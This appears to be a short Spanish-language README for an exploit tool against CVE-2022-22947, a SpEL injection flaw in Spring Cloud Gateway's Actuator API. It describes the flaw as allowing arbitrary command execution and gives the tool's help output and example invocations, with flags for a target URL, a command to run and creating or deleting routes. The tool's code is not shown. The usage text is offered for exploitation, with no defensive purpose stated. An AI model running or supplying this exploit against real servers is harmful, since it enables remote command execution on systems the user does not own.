
Spring Cloud Gateway es una puerta de enlace de API en Spring. Las versiones 3.1.0 y 3.0.6 (inclusive) y anteriores contienen una vulnerabilidad de inyección de expresión SpEL. Cuando un atacante puede acceder a la API de Actuator, puede explotar esta vulnerabilidad para ejecutar comandos arbitrarios.
Uso:
➜ ./cve-2022-22947 -h
Usage of cve-2022-22947:
-c string
Execute command, Example: whoami (default "id")
-d Delete route.
-r string
New route name
-u string
Target Url, Example: http://127.0.0.1:8080
# example
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -c whoami -r exploit.
[>] Usage: ./CVE-2022-22947 -u http://127.0.0.1:8080 -r exploit -d
Problemas encontrados: https://darkb1rd.github.io/2022/03/07/yuque/cve-2022-22947%20%E5%B0%8F%E7%82%B9/